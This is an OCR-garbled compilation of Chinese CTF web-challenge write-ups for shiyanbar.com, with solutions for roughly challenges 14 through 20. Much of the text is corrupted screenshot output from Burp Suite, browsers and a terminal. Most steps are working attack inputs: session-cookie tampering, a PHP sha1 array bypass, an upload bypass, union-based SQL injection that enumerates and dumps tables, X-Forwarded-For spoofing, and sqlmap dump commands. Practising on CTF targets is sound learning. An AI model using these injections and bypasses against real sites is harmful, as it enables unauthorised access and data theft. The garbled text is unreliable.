CTFHlt: http:/ctf5.shiyanbar.com/web/Session.php

RRBATIWebITUE G KIS GE, TSR, HSRFIABurpSuiteX X AW Bh BT ITREZBRE 1T, BRAVEMBIME !

[Target Tmey TSpidBr IScannBr T Intruder I Repeater T Sequencer TDec:uder I Comparer I Extender I Project options I Uzer options TAIBrts ]

J Intercept I HTTP history T WebSockets history I Options ]

_'- Request to http:/ctf5 shiyanbar com:80 [121.194 2 45]

l Forward J l Drop J [ Intercept is on ] [ Action J Comment this iterm

| [ Perams [ osers [her |

GET/web/Session.php?password=125HTTP/I. |

Host:ctfs.shiyanbar.com
User-Agent:Mozilla/5. 0(WindowsNTé. |, Win &4, x64,rv:56.0)Gecko/2010010 | Firefox/56.0

Accept:text/html application/xhtml+xml, application/xml;q=0.9,*/*;q=0.§

Accept—Language:zh-CN zh;q=0.8,en-U5:9=0.5en:q=0.3

Referer:http://ctf5 shiyanbar.com/web/Session php?password=123
Cookie:Hm_Ivt_34d&6fT353ab07 | 5adc552ed45 | 6dffbe3=1509TA5503, 5095865363, 1510139TT2,1510140594;

Hm_cv_34d6fT7353ab07 | 5adch5 245 | 6dffbea= [ visitor" (1 1§ 8%2CnickName e 3AAngel_Kitty;Hm_lpvt_34d6fT7353ab09 | Fadc552e45 | 6dffbci=1510/5253T,;
PHPSESSIP=3f§75570504mo0qdpiTgisnuld

Connection:close
Upgrade-Insecure-Requests: |

RERIMNAFTELERIES Repeterih i T


http://ctf5.shiyanbar.com/web/Session.php

Go | | canesl <lv || >
Request

_[ Raw T Params I Headers | Hex

Target: http:iictfs.shiyanbar.com | | | 7

Response

J&WT Headers. WI HTKIL T Render ]

GET/web/5ession.php?password=HTTP/ 1.1

Host:ctf5. shiyanbar.com

User—Agent:Mozille/5. 0(WindowsNT 6. | Winbd;x64,rv:56.0)Gecko/20100101
Firefox/56.0

Accept:text/html,application/xhtml+xm|, application/xml;q=0.7,*/*;q=0.§
Accept-Language:zh-CN,zh;q=0.5,en-U5;9=0.5.en;9=0.3
Referer:http://ctf5. shiyanbar.com/web/Session.php

Cookie:PHPSESSIP=

Connection:close

Upgrade—Insecure—Requests: |

R 5 BA MR i password MCookie )&, #RJ5Goiz TEI T !

B EIHIFlag R izt 2 FATHT R i Key

T

HTTP/1.12000K

Date:Wed 05Nov20 | T14:56: |6GMT
Server:Apache/2.4. 1 §(Win32)0penSSL/1.0.2ePHP/5.2.17
X-Powered-By:PHP/5 21T
Set-Cookie:PHPSESSID=590e2ff§0f5c0b05c5af 0f5475 | 5254 T, path=/
Expires:Thu, [TNovi98108:52:00GMT
Cache-Control:no-store,no-cache, must-revalidate, post-check=0,
pre—check=0

Pragma:no—cache

Content-Length: 112

Content-=Type:text/html

Connection:close

<html=

<head=
<title=GuessNextSession</title=

</head=

<body=<br/>

<centers

Flag:CTF{CI3ar_th3_S3ss/on}

[EIEIER
Dtk HRARET 1 1 !

T




FH14: FLASE
Vil B

- C @© (D) £ ctf5.shiyanbar.com/web/false.php BE e gy Q=
I} BEFiAE 5 HEERE M [(§PythondTE ESEFI OCF OEE [GX= [3Sch01aR# () GitHub [5%¥%= 5 IE [FSRC 5 #E

Login first!

| View the source code |

<?php if (isset($_GET['name']) and isset($_GET['password")) {if ($_GET['name'] ==$_GET['password']) echo'
Your password can not be your name!

'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo'
Invalid password.

" }else{echo’
Login first!

|; ?>

t£ N finamefpassword N —#E, 1B Rnamefllpasswordf¥sha1inas i) {E 5 &
R E R RAEHAH
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

BH15: EiEgud
CTFiht: fEFRREEREE: http://ctf5.shiyanbar.com/web/upload

BHE bt phpo2 8. 2R EERD, R EEATFEEEER.
ZRopIMBHRERL TR, HIEER F injavascriptiiE .
ZRBWIRAELST, E4E1.jpgCtE, bpild, BfZupload/gdsint.php=i, Khexdh = #%208°~400, forward, REiIh&E .

BH16: 7858
CTFH#hulik: http://ctf5.shiyanbar.com/web/5/index.php


http://ctf5.shiyanbar.com/web/false.php?name%255B%255D=1&password%255B%255D=2
http://ctf5.shiyanbar.com/web/upload
http://ctf5.shiyanbar.com/web/5/index.php

if($_POST[user] && $_POST[pass]) {
$CONN = MySQ_CONNEGE(™*+**, mrwmksn wrkrmrrinn).
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));

}
Suser = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user";
Squery = mysqgl_query($sql);

if (!$query) {

printf("Error: %s\n", mysgl_error($conn));
exit();

t
Srow = mysql_fetch_array($query, MYSQL_ASSOC);
lecho $row]"pw'];

if (($rowpw]) && (!strcasecmp($pass, $rowjpw]))) {
echo "<p>Logged in! Key:** s <[>t

}

else {
echo("<p>Log in failure!</p>");

] LAE B RAE FpostF R, passEZLidmdsinE K. RFEEiErowpwlflpassinig & i KEHAZS T LAz Bl gead, HAfpassin
% Ja RERATT DU S N3], AT IR B4 F SE B0 B ) S K S 25 D

K ESHEHA: K and 0=1 union select “202cb962ac59075b964b07152d234b70” # ZEiLE N : 123
{RAEmMd5 5%\ B2 55 AH R B AT Hrh0=17 AMERT I IE A e ik, M seBgeid .

FHE17: phpkik

CTFHbtE: hitp://ctf5.shiyanbar.com/DUTCTF/index.php
T8 KB Can you authenticate to this website? index.php.txt
F 23k Nindex.php.txtTa i

ET[id]= yridecode( -GET[id]);
Access granted!

echo "

« kkkkkkkkkkkkkkkkk
flag: }

}

B A R % E B encode B IR (I B 2855 +1 1K)
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%68%61%63%6b%65%72%44%4a
Access granted!

flag: DUTCTF{PHP_is_the_best program_language}


http://ctf5.shiyanbar.com/DUTCTF/index.php
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%252568%252561%252563%25256b%252565%252572%252544%25254a

CTFEH: FERA mfEHR
CTFH#bYE: http://ctf5.shiyanbar.com/8/index.php?id=1
1. HMRBFEEANR

R T =it o=l U ctf5.shiyanbar.com/8/index.php X

— G @ ctf5.shiyanbar.com/8/index.php?id=1 and 1=1

content

-1

welcome to this game! enjoy

http://ctf5.shiyanbar.com/8/index.php?id=1 and1=1

RS st Ul ctf5.shiyanbar.com/8/index.php X

e G @ @® ctf5.shiyanbar.com/8/index.php?id=1 and 1=2

E content

http://ctf5.shiyanbar.com/8/index.php?id=1 and1=2
BEAE, WHEEEAR2. BFEBRH

R T =i o o= UGl ctf5.shiyanbar.com/8/index.php X

— G o @ ctf5.shiyanbar.com/8/index.php?id=1 order by 2

content

-1

welcome to this game! enjoy

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3
FEREN23. EREEEE

<« c i) ctfS.shiyanbar.comy/8/index.php?id arder by v g LR ]

Warning: mysqgl fetch array(): supplied argument is not a valid MySQOL result resource in C:\h43a1W3\phpstudy\WWW\B\index.php on line 35
ID content

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata


http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=1

&« (e Q- () ctf5.shiyanbar.com/8/index php?id=1 union select 1,schema name from information schema.schemata

1D content
1 welcome to this game! enjoy
1 linformation schema

1 my db
1

test

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()
my_dbA REATE R BIEFES. HEREK

— (e Q i f5 shiyanbar.com/8/index.phy i inion select 1,table name from information schema.tables wi o ass ﬁ

ID content
1 |welcome to this game! enjoy
1 [news

1 [thiskey

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where
table_schema='my_db'

#, Flthiskeyix M E5. A F thiskeyZ 15

&« i Q (@ ctfS.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns wher

ID content

1 \welcome to this game! enjoy
1 |id

1 |content
1 kOy


http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,database%2528%2529
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=%2527my_db%2527

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where

table_schema='my_db'

RIKOyFI6. EFKOYHI+ i HE

SR ak = opotiecRen Ul Ctf5.shiyanbar.com/8/index.php X

&« C (@ ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

[ﬁg‘ content
{TWweMometotMSganm!EMOy
’T‘whatiMyDQ‘l dump

CTFEH18: $iflh sisk

CTFHkt: hitp://ctf5.shiyanbar.com/phpaudit/

HRfe, REFRR

13 F K IRFE 1 X-Forwarded-ForiBip il 281.1.1.1, 15 Zlflag

CTFEH19: HiMER
CTFH#bht: http:/ctf5.shiyanbar.com/basic/catch/
RIEE B RABATIE

TR RSB, #2 T ARIEEEM 2 Aweb %] &

FE#H BIweb il &, LR L

M EHRN", S TRERFS, 3T T BRI R 0T L f 25
BTk, B REMERIMFRER, MXRIMEHERSERERT

A A& FHcookie, MMKISHURALLT, REiAH, BMELEHEEEHERT
e

K FContent-Row/s H I, H#Hl{E Npass keyfEit %

B Flkey

CTF& H20:

#3Zadmin

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
Fsqmapta il & B HEAN


http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%2527my_db%2527
http://ctf5.shiyanbar.com/phpaudit/
http://ctf5.shiyanbar.com/basic/catch/
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

—Iroot@schO1ar}—/sch01ar]
L—1 #sqlmap -u
FEFEN

\g injection point(s) from s

5 -

o HUHE AT B

r—Iroot@schO1ar}—/sch01ar]

L— #sqlmap -u " —-dbs
—lroot@schO1ar}—/sch01ar]

L— #sqlmap -u " —tables -D “test”
r—Iroot@schO1ar}—/sch01ar]

L #sqlmap -u“ " —-dump -T “admin” -
D “test”

B H K5 2D

og.csdn.net/m0_

B, 53flag


http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

&« c o @ M g ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=idnt AL o fiy
£ BEHE 5 LEEE G Google (M G pythondid B SEFI BOF s = 9 B0lEE -EES5 .. O GitHb (FEs

log.csdn.net/mr




	关于CTF学习总结
	下面附上代码：


